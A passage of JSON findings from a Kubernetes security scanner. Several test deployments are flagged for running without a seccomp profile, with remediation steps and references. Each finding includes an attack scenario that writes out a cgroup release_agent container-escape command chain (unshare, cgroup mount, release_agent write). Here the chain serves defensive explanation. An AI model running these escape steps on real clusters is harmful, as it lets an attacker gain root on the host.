      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:cloud-eks-test:irsa-admin-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/cloud-eks-test/irsa-admin-app`",
    "description": "Container `app` in `Deployment/cloud-eks-test/irsa-admin-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "irsa-admin-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/irsa-admin-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n cloud-eks-test \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/irsa-admin-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:containersec-fixtures:containersec-image:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/containersec-fixtures/containersec-image`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-image` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-image",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-image`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n containersec-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/containersec-image -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:containersec-fixtures:containersec-lifecycle:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/containersec-fixtures/containersec-lifecycle`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-lifecycle` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-lifecycle",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-lifecycle`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n containersec-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/containersec-lifecycle -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:containersec-fixtures:containersec-limits:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/containersec-fixtures/containersec-limits`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-limits` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-limits",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-limits`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n containersec-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/containersec-limits -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:containersec-fixtures:containersec-probes:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/containersec-fixtures/containersec-probes`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-probes` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-probes",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-probes`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n containersec-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/containersec-probes -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:csr-fixtures:csr-mint-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/csr-fixtures/csr-mint-app`",
